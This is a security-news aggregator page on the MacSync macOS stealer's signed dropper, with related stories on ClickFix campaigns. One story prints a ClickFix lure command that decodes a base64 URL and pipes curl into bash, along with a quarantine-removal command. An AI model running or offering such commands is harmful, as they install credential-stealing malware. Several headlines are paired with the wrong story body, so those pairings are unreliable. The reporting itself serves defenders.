Search/New MacSync malware dropper evades macOS Gatekeeper checks
● Story

New MacSync malware dropper evades macOS Gatekeeper checks

The latest variant of the MacSync information stealer targeting macOS systems is delivered through a digitally signed, notarized Swift application. Security researchers at Apple device management platform Jamf say that the distribution method constitutes a significant evolution from past iterations that used less sophisticated "drag-to-Terminal" or ClickFix tactics. "Delivered as a code-signed and notarized Swift application within a disk image named zk-call-messenger-installer-3.9.2-lts.dmg, distributed via https://zkcall.net/download, it removes the need for any direct terminal interaction," the researchers say in a report today. At the time of the analysis, Jamf says that the latest MacSync variant had a valid signature and could bypass checks from Gatekeeper, the security system in…

CVEs
0
Highest CVSS
—
In KEV
0
Sources
3
Connections
6 relationships
New MacSync macOS Stealer Uses Signed App to Bypass Apple Gatekeeper
Cybersecurity researchers have discovered a new variant of a macOS information stealer called MacSync that's delivered by means of a digitally signed, notarized Swift application masquerading as a messaging app installer to bypass Apple's Gatekeeper checks. "Unlike earlier MacSync Stealer variants that primarily rely on drag-to-terminal or ClickFix-style techniques, this sample adopts a more deceptive, hands-off approach," Jamf researcher Thijs Xhaflaire said. The Apple device management firm and security company said the latest version is distributed as a code-signed and notarized Swift application within a disk image (DMG) file named "zk-call-messenger-installer-3.9.2-lts.dmg" that's hosted on "zkcall[.]net/download." The fact that it's signed and notarized means it can be run without being blocked or flagged by built-in security controls like Gatekeeper or XProtect. Despite this, the installer has been found to display instructions prompting users to right-click and open the app – a common tactic used to sidestep such safeguards. Apple has since revoked the code signing certificate. The Swift-based dropper then performs a series of checks before downloading and executing an encoded script through a helper component. This includes verifying internet connectivity, enforcing a minimum execution interval of around 3600 seconds to enforce a rate limit, and removing quarantine attributes and validating the file prior to execution. "Notably, the curl command used to retrieve the payload shows clear deviations from earlier variants," Xhaflaire explained. "Rather than using the commonly seen -fsSL combination, the flags have been split into -fL and -sS, and additional options like --noproxy have been introduced." "These changes, along with the use of dynamically populated variables, point to a deliberate shift in how the payload is fetched and validated, likely aimed at improving reliability or evading detection." Another evasion mechanism used in the campaign is the use of an unusually large DMG file, inflating its size to 25.5 MB by embedding unrelated PDF documents. The Base64-encoded payload, once parsed, corresponds to MacSync, a rebranded version of Mac.c that first emerged in April 2025. MacSync, per MacPaw's Moonlock Lab, comes fitted with a fully-featured Go-based agent that goes beyond simple data theft and enables remote command and control capabilities. It's worth noting that code-signed versions of malicious DMG files mimicking Google Meet have also been observed in attacks propagating other macOS stealers like Odyssey. That said, threat actors have continued to rely on unsigned disk images to deliver DigitStealer as recently as last month. "This shift in distribution reflects a broader trend across the macOS malware landscape, where attackers increasingly attempt to sneak their malware into executables that are signed and notarized, allowing them to look more like legitimate applications," Jamf said. Update Cybersecurity researchers have also discovered a MacSync stealer campaign that uses Search Engine Optimization (SEO) poisoning to direct victims to fraudulent GitHub repositories masquerading as legitimate tools like PagerDuty. The activity builds upon above findings from Jamf and LastPass, Daylight Security said. The repository redirects users to a GitHub Pages domain that includes ClickFix-style instructions to copy and execute a malicious command on the Terminal app to install the app, leading to the deployment of MacSync. A similar ClickFix page ("macclouddrive[.]com/s2/") has also been highlighted by CloudSEK. "ClickFix campaigns have become one of the most effective delivery mechanisms for macOS-targeted infostealers in recent years," the company said. "By convincing victims to voluntarily execute malicious shell commands, attackers completely bypass Gatekeeper, notarization checks, and signature verification – protections that render traditional DMG or PKG-based distribution far riskier."
thehackernews.comDec 24, 2025extracted
Reworked MacSync Stealer Adopts Quieter Installation Process
A newly identified macOS malware sample that disguises itself as a legitimate, signed application has been uncovered during routine threat monitoring. The malware, a reworked version of the MacSync Stealer, departs from earlier delivery methods and adopts a quieter, more automated installation process. The sample was detected by Jamf Threat Labs while reviewing alerts triggered by internal YARA rules. Technical Observations From Analysis Unlike previous MacSync Stealer variants that relied on user interaction via ClickFix or Terminal-based tricks, this version arrives as a Swift application that is both code-signed and notarized by Apple. It is distributed inside a disk image posing as a messaging app installer and requires no command-line involvement. Once launched, the application silently retrieves an encoded script from a remote server and executes it through a helper component. Jamf noted that similar techniques have recently appeared in other macOS infostealers, including newer versions of Odyssey. Despite being signed, the installer still displayed instructions prompting users to right-click and select Open, a tactic commonly used to bypass Gatekeeper warnings. Inspection confirmed the application was built as a universal Mach-O binary and signed under a developer certificate that, at the time of discovery, had not been revoked. The disk image stood out for its unusually large size of 25.5MB, inflated with decoy files such as unrelated PDF documents. Detection rates varied. Some samples uploaded to VirusTotal were flagged by only one security engine, while others were identified by up to thirteen. Most detections classified the files as generic downloaders. Jamf later reported the associated developer certificate to Apple, which has since revoked it. How the Dropper Operates The Swift-based dropper performs several checks before executing its payload, including: Verifying internet connectivity before proceeding Enforcing a minimum execution interval of around 3600 seconds Downloading the payload using a modified curl command designed to avoid detection Removing quarantine attributes and validating the file before execution The malware runs largely in memory and cleans up temporary files after execution, leaving minimal traces behind. Its behavior mirrors previous MacSync Stealer campaigns once the second-stage payload is deployed. “While MacSync Stealer itself is not entirely new, this case highlights how its authors continue to evolve their delivery methods,” Jamf Threat Labs said. “This shift in distribution reflects a broader trend across the macOS malware landscape, where attackers increasingly attempt to sneak their malware into executables that are signed and notarized, allowing them to look more like legitimate applications. By leveraging these techniques, adversaries reduce the chances of being detected early on.” Image credit: Nanain / Shutterstock.com
infosecurity-magazine.comDec 23, 2025extracted
New MacSync malware dropper evades macOS Gatekeeper checks
The latest variant of the MacSync information stealer targeting macOS systems is delivered through a digitally signed, notarized Swift application. Security researchers at Apple device management platform Jamf say that the distribution method constitutes a significant evolution from past iterations that used less sophisticated "drag-to-Terminal" or ClickFix tactics. "Delivered as a code-signed and notarized Swift application within a disk image named zk-call-messenger-installer-3.9.2-lts.dmg, distributed via https://zkcall.net/download, it removes the need for any direct terminal interaction," the researchers say in a report today. At the time of the analysis, Jamf says that the latest MacSync variant had a valid signature and could bypass checks from Gatekeeper, the security system in macOS. "After inspecting the Mach-O binary, which is a universal build, we confirmed that it is both code-signed and notarized. The signature is associated with the Developer Team ID GNJLS3UYZ4," Jamf explains. However, following a direct report of the certificate to Apple, it has now been revoked. The malware is delivered on the system through a dropper in encoded form. After decoding the payload, researchers discovered the usual signs of the MacSync Stealer. The researchers noted that the stealer features several evasion mechanisms, including inflating the DMG file to 25.5MB by embedding decoy PDFs, wiping the scripts used in the execution chain, and performing internet connectivity checks before execution to evade sandboxed environments. The stealer emerged in April 2025 as Mac.C by a threat actor named ‘Mentalpositive’. It gained traction by July, joining the less crowded but still profitable space of macOS stealers alongside AMOS and Odyssey. A previous analysis of Mac.C by MacPaw Moonlock indicates that it can steal iCloud keychain credentials, passwords stored on web browsers, system metadata, cryptocurrency wallet data, and files from the filesystem. Interestingly, in an interview that Mentalpositive gave to researcher g0njxa in September, the malware author stated that the introduction of a tighter app notarization policy in macOS 10.14.5 and later had the strongest influence on their development plans, which is reflected in the latest versions caught in the wild. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comDec 22, 2025extracted
Related Stories
6
Cloudflare-Themed ClickFix Attack Drops Infiniti Stealer on Macs
A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix. Instead of exploiting a bug, it relies on social engineering. The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware. To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python stealer. ClickFix: social engineering instead of exploits ClickFix doesn’t rely on software vulnerabilities. Instead, it relies on convincing the user to run a command themselves. A fake verification page instructs the visitor to open Terminal, paste a command, and press Return. Once executed, the infection process begins immediately. The technique gained popularity on Windows systems, but it’s now being adapted for macOS, with the instructions tailored to the platform: Command + Space > open Terminal > paste the command Because the user runs the command directly, many traditional defenses are bypassed. There’s no exploit, no malicious attachment, and no drive‑by download. Fake CAPTCHA Delivery The infection begins at update-check[.]com, which serves a convincing replica of a Cloudflare human verification page. The page instructs the user to paste a verification command into Terminal:bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode)) Once decoded, the string resolves to a URL hosted on the same domain that returns the first stage dropper script. Stage 1: Bash Dropper The first payload is a Bash script using a template previously observed in macOS stealers such as MacSync (also referenced as SHub in earlier research). This suggests the use of a shared builder. Its responsibilities are straightforward: Decode the embedded payload Write the Stage‑2 binary to /tmp Remove the quarantine flag using xattr -dr com.apple.quarantine Execute the binary via nohup Pass the command-and-control (C2) server and authentication token as environment variables Delete itself and close Terminal via AppleScript Stage 2: Nuitka Loader The dropped binary is an Apple Silicon Mach-O executable (~8.6 MB). compiled using Nuitka’s onefile mode. Its header contains the signature: 4b 41 59 28 b5 2f fd This corresponds to a KAY ( header followed by a zstd-compressed archive used by Nuitka to package Python applications. Unlike PyInstaller, Nuitka compiles Python source into C and produces a native binary, increasing the complexity of static analysis. At runtime the loader decompresses roughly 35 MB of embedded data and launches the final payload. Stage 3: Python Stealer Payload The final payload, UpdateHelper[.]bin, is a Python 3.11 stealer compiled with Nuitka. Despite compilation, the binary exposes thousands of named symbols, allowing its module structure to be reconstructed during analysis. The stealer targets a wide range of sensitive data: Credentials from Chromium‑based browsers and Firefox macOS Keychain entries Cryptocurrency wallets Plaintext secrets in developer files such as .env Screenshots captured during execution Data is exfiltrated using HTTP POST requests. Before beginning data collection, the malware checks whether it is running inside known analysis environments, including: any.run Joe Sandbox Hybrid Analysis VMware VirtualBox In also introduces a randomized execution delay to evade automated analysis systems. When exfiltration completes, a function named upload_complete() sends a Telegram notification to the operator and queues captured credentials for server‑side password cracking. What to do if you think you’ve been affected The perception that macOS is a low‑risk malware target continues to fade. Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users. It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this. If you followed instructions like this or pasted commands into Terminal from a website, take action right away: Stop using the device for sensitive activity (banking, email, work accounts). Change your passwords on a clean device, starting with email, banking, and Apple ID. Revoke access: log out of active sessions, and revoke API tokens and SSH keys Check for suspicious files in /tmp and~/Library/LaunchAgents/ Run a full Malwarebytes scan to detect and remove any remaining malware. Remember: Do not paste commands into Terminal from websites. No legitimate CAPTCHA requires this. Indicators of Compromise (IOCs) Acknowledgements With thanks to Marcelo Rivero for the binary analysis. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
3 shared
Mar 28, 2026
Apple adds macOS Terminal warning to block ClickFix attacks
A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix. Instead of exploiting a bug, it relies on social engineering. The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware. To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python stealer. ClickFix: social engineering instead of exploits ClickFix doesn’t rely on software vulnerabilities. Instead, it relies on convincing the user to run a command themselves. A fake verification page instructs the visitor to open Terminal, paste a command, and press Return. Once executed, the infection process begins immediately. The technique gained popularity on Windows systems, but it’s now being adapted for macOS, with the instructions tailored to the platform: Command + Space > open Terminal > paste the command Because the user runs the command directly, many traditional defenses are bypassed. There’s no exploit, no malicious attachment, and no drive‑by download. Fake CAPTCHA Delivery The infection begins at update-check[.]com, which serves a convincing replica of a Cloudflare human verification page. The page instructs the user to paste a verification command into Terminal:bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode)) Once decoded, the string resolves to a URL hosted on the same domain that returns the first stage dropper script. Stage 1: Bash Dropper The first payload is a Bash script using a template previously observed in macOS stealers such as MacSync (also referenced as SHub in earlier research). This suggests the use of a shared builder. Its responsibilities are straightforward: Decode the embedded payload Write the Stage‑2 binary to /tmp Remove the quarantine flag using xattr -dr com.apple.quarantine Execute the binary via nohup Pass the command-and-control (C2) server and authentication token as environment variables Delete itself and close Terminal via AppleScript Stage 2: Nuitka Loader The dropped binary is an Apple Silicon Mach-O executable (~8.6 MB). compiled using Nuitka’s onefile mode. Its header contains the signature: 4b 41 59 28 b5 2f fd This corresponds to a KAY ( header followed by a zstd-compressed archive used by Nuitka to package Python applications. Unlike PyInstaller, Nuitka compiles Python source into C and produces a native binary, increasing the complexity of static analysis. At runtime the loader decompresses roughly 35 MB of embedded data and launches the final payload. Stage 3: Python Stealer Payload The final payload, UpdateHelper[.]bin, is a Python 3.11 stealer compiled with Nuitka. Despite compilation, the binary exposes thousands of named symbols, allowing its module structure to be reconstructed during analysis. The stealer targets a wide range of sensitive data: Credentials from Chromium‑based browsers and Firefox macOS Keychain entries Cryptocurrency wallets Plaintext secrets in developer files such as .env Screenshots captured during execution Data is exfiltrated using HTTP POST requests. Before beginning data collection, the malware checks whether it is running inside known analysis environments, including: any.run Joe Sandbox Hybrid Analysis VMware VirtualBox In also introduces a randomized execution delay to evade automated analysis systems. When exfiltration completes, a function named upload_complete() sends a Telegram notification to the operator and queues captured credentials for server‑side password cracking. What to do if you think you’ve been affected The perception that macOS is a low‑risk malware target continues to fade. Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users. It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this. If you followed instructions like this or pasted commands into Terminal from a website, take action right away: Stop using the device for sensitive activity (banking, email, work accounts). Change your passwords on a clean device, starting with email, banking, and Apple ID. Revoke access: log out of active sessions, and revoke API tokens and SSH keys Check for suspicious files in /tmp and~/Library/LaunchAgents/ Run a full Malwarebytes scan to detect and remove any remaining malware. Remember: Do not paste commands into Terminal from websites. No legitimate CAPTCHA requires this. Indicators of Compromise (IOCs) Acknowledgements With thanks to Marcelo Rivero for the binary analysis. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
2 shared
Apr 1, 2026
Pastebin comments push ClickFix JavaScript attack to hijack crypto swaps
Threat actors are abusing Pastebin comments to distribute a new ClickFix-style attack that tricks cryptocurrency users into executing malicious JavaScript in their browser, allowing attackers to hijack Bitcoin swap transactions and redirect funds to attacker-controlled wallets. The campaign relies on social engineering that promises large profits from a supposed Swapzone.io arbitrage exploit, but instead runs malicious code that modifies the swap process directly within the victim's browser. It could also be the first known ClickFix attack to use JavaScript to alter a webpage's functionality for a malicious purpose. Promoted through Pastebin In the campaign spotted by BleepingComputer, threat actors are iterating through Pastebin posts and leaving comments that promote an alleged cryptocurrency exploit, with a link to a URL on rawtext[.]host. The campaign is widespread, with many of our posts receiving comments over the past week claiming to be "leaked exploit documentation" that allows users to earn $13,000 in 2 days. The link in the comment redirects to a Google Docs page titled "Swapzone.io – ChangeNOW Profit Method," which claims to be a guide describing a method to exploit arbitrage opportunities for higher payouts. "ChangeNOW still has an older backend node connected to the Swapzone partner API. On direct ChangeNOW, this node is no longer used for public swaps," reads the fake guide. "However, when accessed through Swapzone, the rate calculation passes through Node v1.9 for certain BTC pairs. This old node applies a different conversion formula for BTC to ANY, which results in ~38% higher payouts than intended." At any given time, these documents typically show between 1 and 5 active viewers, suggesting the scam is circulating. The fake guide provides instructions to visit Swapzone.io and manually load a Bitcoin node by executing JavaScript directly in their browser's address bar. The instructions tell victims to visit a URL on paste[.]sh and copy a JavaScript snippet hosted on the page. The guide then tells the reader to go back to the SwapZone tab, click on the address bar, type javascript:, and then paste the code. When the code has been pasted into the address, they state to press Enter on your keyboard to execute it, as explained below. This technique abuses the browser's 'javascript:' URI feature, which allows users to execute JavaScript from the address on the currently loaded website. By convincing victims to run this code on Swapzone.io, attackers can manipulate the page and alter the swap process. BleepingComputer's analysis of the malicious script hosted at paste[.]sh shows that it loads a secondary payload from https://rawtext[.]host/raw?btulo3. This heavily obfuscated script is injected directly into the Swapzone page, overriding the legitimate Next.js script used for handling Bitcoin swaps to hijack the swap interface. The malicious script includes embedded Bitcoin addresses, which are randomly selected and injected into the swap process, replacing the legitimate deposit address generated by the exchange. Because the code executes within the Swapzone.io session, victims see a legitimate interface but end up copying and sending funds to attacker-controlled Bitcoin wallets. In addition to replacing the deposit address, BleepingComputer was told that the script modifies displayed exchange rates and offer values, making it feel like the alleged arbitrage exploit is actually working. Unfortunately, as Bitcoin transactions cannot be reversed, if you fell for this scam, there is no easy way to recover your money. A novel ClickFix variant This campaign is a variant of the ClickFix attacks, a social engineering technique that tricks users into executing malicious commands on their computer, typically to install malware. Normally, ClickFix attacks target operating systems by telling victims to run PowerShell commands or shell scripts to fix alleged errors or enable functionality. In this case, instead of targeting the operating system, the attackers instruct victims to execute JavaScript directly in their browser while visiting a cryptocurrency exchange service. This allows the malicious code to modify the page and intercept transaction details. This may represent one of the first reported ClickFix-style attacks specifically designed to use JavaScript in the browser and steal cryptocurrency. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
2 shared
Feb 20, 2026
ClickFix Moves into the Browser to Steal Cryptocurrency
Researchers at Hudson Rock found that cybercriminals hijacked HBO Max’s verified Reddit account and used it to run 108 malicious ads over roughly 48 hours. The ads used HBO Max’s trusted corporate account to promote fake AI tools, developer software, and macOS utilities, lowering potential victims’ guards. Some ads directed users to convincing HBO lookalike sites that claimed to offer a native HBO Max app for macOS or a promotional download. But instead of providing an installer, the sites instructed visitors to open Terminal on their Mac or, on Windows, the Run dialog or PowerShell, and paste in a command. This is the hallmark of a growing social engineering technique known as ClickFix . ClickFix attacks disguise malicious instructions as a routine technical step, such as fixing an error, completing a CAPTCHA, verifying that you are human, or installing software. A web page may silently copy a command to the clipboard , then guide the victim through pasting and running it, by which they will infect their own device. Researchers at ADAMnetworks have dubbed the operation behind the HBO Max ads “PasteSwitch.” Its infrastructure appears to tailor the next stage to the visitor’s device and the lure being used. Observed macOS payloads included MacSync and AMOS infostealers designed to steal browser credentials and profiles, Telegram data, Apple Notes, saved passwords, and cryptocurrency wallet recovery phrases. Windows users could end up with the Amatera infostealer, which runs in memory. The operation has also been linked to cryptocurrency clipboard hijackers, which monitor copied wallet addresses and replace them with an attacker-controlled address before a transaction is sent. How to stay safe Reddit admins paused the ads and opened a security investigation after reports came in, but it is important to remain vigilant. Reportedly , ClickFix was responsible for more than half of all malware loader activity in 2025. One reason for its success is that campaigns continue to add new&nbsp; methods &nbsp;for tricking users and different&nbsp; commands &nbsp;for avoiding detection. Users of macOS Tahoe 26.4 or later&nbsp;may be&nbsp; warned when pasting text into Terminal , but it doesn’t appear for everyone, so you shouldn’t rely on that alone. Malwarebytes can provide additional protection at several stages of a ClickFix attack. Browser Guard warns when a website tries to copy something to your clipboard, web protection blocks known malicious sites, and real-time protection can detect malware delivered by the campaign. With ClickFix running rampant and inventing new methods all the time, it’s important to be aware, careful, and protected: Treat ads with caution. A verified account does not guarantee that an ad is safe. Visit the company’s official website directly instead of downloading software through an advertisement. Slow down.&nbsp; Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers may use countdowns, user counters, or other pressure tactics to make you act quickly. Don’t run commands from untrusted sources.&nbsp; Never run code or commands copied from websites, emails, ads, or messages unless you trust the source and understand what the command does. Check the instructions against official documentation or contact the company’s support team. Secure your devices.&nbsp; Use an up-to-date, real-time&nbsp; anti-malware solution &nbsp;with a web protection component. Malwarebytes blocks ember-bridge.com, which is part of the PasteSwitch infrastructure. Educate yourself on evolving attack techniques. &nbsp;Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog! From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by&nbsp; downloading Malwarebytes today .
2 shared
Sep 17, 2026
HBO Max’s verified Reddit account hijacked to spread malware
Threat actors are leveraging ClickFix-like lures to deliver a previously undocumented remote access trojan (RAT) called ChainScript. "ChainScript has appeared under multiple build names, including ComponentTask33, UpdateDigital, HostShared, and OrchidViolet66, while presenting itself as Spotify, Zoom Workplace, and Microsoft Teams software," Blackpoint Adversary Pursuit Group (APG) researchers Sam Decker, Andi Ursry, and Nevan Beal said. Like many malware families observed in recent months, ChainScript employs an EtherHiding-style command-and-control (C2) discovery technique that makes use of a Polygon smart contract to locate its active WebSocket infrastructure. ChainScript is a full-featured RAT that provides extensive remote access to the operator, including interactive CMD and PowerShell, file operations, screenshot capture, payload deployment, cryptocurrency wallet enumeration (both desktop apps and browser extensions), and remote JavaScript execution. The starting point of the attack chain is a ClickFix lure that leads to the download and execution of a malicious Windows installer using "msiexec.exe." The installer ("ComponentTask33-4d14e6ac.msi"), disguised as Spotify, deploys the Node.js runtime and launches the ChainScript JavaScript agent through hidden PowerShell and VBScript stages. The PowerShell script drops various components, namely, the runtime, agent source, configuration, and other auxiliary binaries, across different Microsoft-looking paths in the "%LOCALAPPDATA%" folder. The VBScript serves as the main launcher for ChainScript. The running agent then establishes user level persistence through a scheduled task with a Registry Run key fallback. Upon execution, ChainScript connects to the C2 server over WebSockets and retrieves additional tasking, giving the threat actor direct control over the compromised system. The supported commands also allow it to self-update and remove persistence. The findings illustrate how threat actors are increasingly adopting a flexible decentralized infrastructure as a way to resist takedown efforts and ensure uninterrupted operations. "ChainScript reflects an emerging pattern of malware using development frameworks and blockchain-based C2 discovery to enable infrastructure rotation and complicate traditional indicator-based detection," Blackpoint said. "By separating backend discovery from the malware itself and using the Polygon contract as an external resolver, the operator can redirect infected hosts to new infrastructure while retaining the same implant and reconnect workflow." ClickFix, a Way for Mac and Windows Users to Infect Themselves The disclosure comes as threat actors compromised HBO Max's official Reddit account ("u/hbomax") and abused it to push malicious ads that launched ClickFix attacks to infect Windows and macOS devices with information-stealing malware. The activity has been codenamed PasteSwitch by Hudson Rock and ADAMnetworks. It's not known how the account was breached, and how many people clicked on these fake ads and how many were compromised as a result. On macOS, PasteSwitch has been found to deliver MacSync, Atomic macOS Stealer (AMOS), and fake cryptocurrency wallet applications designed to steal recovery phrases. The Windows branch, on the other hand, distributes Amatera Stealer and cryptocurrency clippers like AnimateClipper and ZigClipper. In all, the verified Reddit account served 108 malicious ads over a 48-hour period in mid-September 2026. According to data shared by Seqrite Labs, MacSync infections have concentrated in the U.S., followed by the U.K., Germany, Japan, Canada, France, Singapore, Australia, India, and the Netherlands. "MacSync campaigns primarily target regions with widespread macOS enterprise use, tech and software development sectors, and active cryptocurrency or Web3 communities," researcher Chandra Kant Bauri said. "The threat actors utilized highly polished assets to establish trust before delivering the malicious payload," Hudson Rock said. "By hijacking a verified corporate account, they bypassed the initial skepticism many users apply to internet advertisements." The findings dovetail with another ClickFix campaign that employs a fake Codex download experience surfaced via search results to lead users to bogus Google Sites pages and trick macOS users into pasting a malicious command into Terminal, resulting in the execution of Atomic Stealer. Visitors using non-Mac devices are served a harmless decoy page. "The copied Terminal command first retrieves a shell-script loader: the first stage," Cato Networks said. "This loader contains an embedded blob that it decodes and executes with eval, producing the second-stage shell script. The second stage then records execution and retrieves the final, third-stage Mach-O payload." The cybersecurity company described the activity as part of a broader pattern of attacks that employ trusted services and large language model (LLM) shared chats to serve fake installation instructions, while bypassing browser warnings, URL inspection, and Safe Browsing heuristics. In a report published last month, Microsoft said it observed a macOS ClickFix campaign propagating MacSync and Atomic Stealer using a cluster of no less than 250 look-alike domains. "The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser," it said. "This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows."
2 shared
Sep 21, 2026
Macfinger ClickFix campaign, (Tue, Sep 22nd)
The "third-party.com" domain, commonly used as a placeholder in developer documentation and code examples, is serving a fake Cloudflare verification page that attempts to trick Windows users into executing PowerShell commands. The domain third-party.com has long been used in documentation to represent an arbitrary external website, API, or service, similar to how developers use domains such as example.com. However, unlike example.com, example.net, and example.org, which IANA reserves specifically for documentation, third-party.com is a normally registered domain whose content its owner can control. This difference is now a security concern after the domain began serving a ClickFix attack that impersonates a Cloudflare security check. Manifold Security first reported the malicious use of the domain after discovering it while examining public AI skills and MCP server documentation that referenced the domain. BleepingComputer has since confirmed that the page displays a fake Cloudflare "Performing security verification" CAPTCHA screen containing a "Verify you are human" prompt. After the user clicks the verification box, the site copies a malicious PowerShell command into the Windows Clipboard, and then instructs the user to press the Windows key + R, paste the contents of their clipboard using Ctrl+V, and press Enter. When the PowerShell command runs, it reconstructs the payload URL elxxvvx[.]xyz/f, downloads a PowerShell script from that address, and then executes it. This technique is commonly known as ClickFix, where attackers use fake errors, CAPTCHA prompts, or verification pages to convince victims to manually execute commands copied to their clipboard. ClickFix attacks have become a popular way to distribute malware, as the malware is installed via commands executed by the user rather than downloaded from websites or as email attachments. In some cases, this could allow malware to install while bypassing traditional antivirus software. At the time of BleepingComputer's testing, elxxvvx[.]xyz no longer resolved, leaving the current attack chain broken. However, a Hybrid Analysis report from May 2, 2026, shows the site distributed a PowerShell script configured to download a 134MB zip archive from: https://elxxvvx[.]xyz/update2.zip The PowerShell script saved the archive as update26.zip, extracted it, and then attempted to launch an executable named draw.io.exe. Because the update2.zip archive is no longer available, BleepingComputer couldn't determine what the payload does. Manifold's Ax Sharma says the attack specifically targets Windows users, and Linux and Mac visitors will see errors stating their operating system is unsupported. "A macOS or Linux user-agent gets none of that. It gets a near-identical page that stops at an error: "macOS is not supported. This website requires a Windows PC to access." No clipboard poisoning, no payload," explains Sharma. "The attacker only shows the weapon to the targets it works against, which is precisely why a casual look, or a scanner on a Linux datacenter IP, sees nothing wrong." A placeholder that wasn't reserved The more interesting aspect of the attack is the third-party.com domain chosen to host the ClickFix page. Public developer documentation has treated third-party.com as a generic example hostname for many years. For example, the W3C Geolocation specification currently demonstrates granting geolocation permissions to an external iframe using third-party.com as a placeholder domain: The W3C Compute Pressure specification similarly uses the domain when demonstrating how a website can enable the API for remote content: Chromium's documentation for its Telemetry Extension API also uses third-party.com as an example website permitted to communicate with a Chrome extension: Other examples go further and use the domain in code that would actually make network requests if copied literally. A PrivacyCG proposal on GitHub also uses the domain as the destination of a JavaScript fetch() request from a service worker. Posts online indicate that developers have copied these and similar examples into their own code and projects. In a 2015 Stack Overflow question, a developer said they had applied an asynchronous loading example containing https://third-party.com/resource.js to their website before discovering that it did not behave as expected after publishing the site. These examples do not mean that the associated projects or documentation are compromised. However, applications or test code that copied such placeholder URLs could now cause a browser or automated tool to contact the real third-party.com domain and potentially display the ClickFix attack in a browser or application. Unlike example.com, which IANA maintains for documentation and does not allow to be registered or transferred, the third-party.com domain has no such protection, and was clearly hijacked or registered at some point to conduct these ClickFix attacks. "third-party[.]com has been a generic documentation placeholder for years, the same role example.com plays," explains Manifold. "A public code search turns it up in skills, MCP-server docs, and over 1,500 files across 1,700+ repositories from names as trusted as Chromium, Sanity, and Vercel. Since at least June 2026 it's been serving the ClickFix lure." While the widespread use of third-party.com as a placeholder in documentation makes the domain attractive to attackers, there is no evidence that it was registered for malicious purposes. The domain was first registered in 1996, long before the current campaign, and BleepingComputer has not determined when or how control of the site changed. At this time, there have been no reports that these references to third-party.com have actually resulted in ClickFix attacks being executed on developer's devices or within their applications/webpages. However, as the domain remains live, it could easily be switched to a new, live payload domain and actively utilized in future attacks. Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed. Save your seat
2 shared
Sep 25, 2026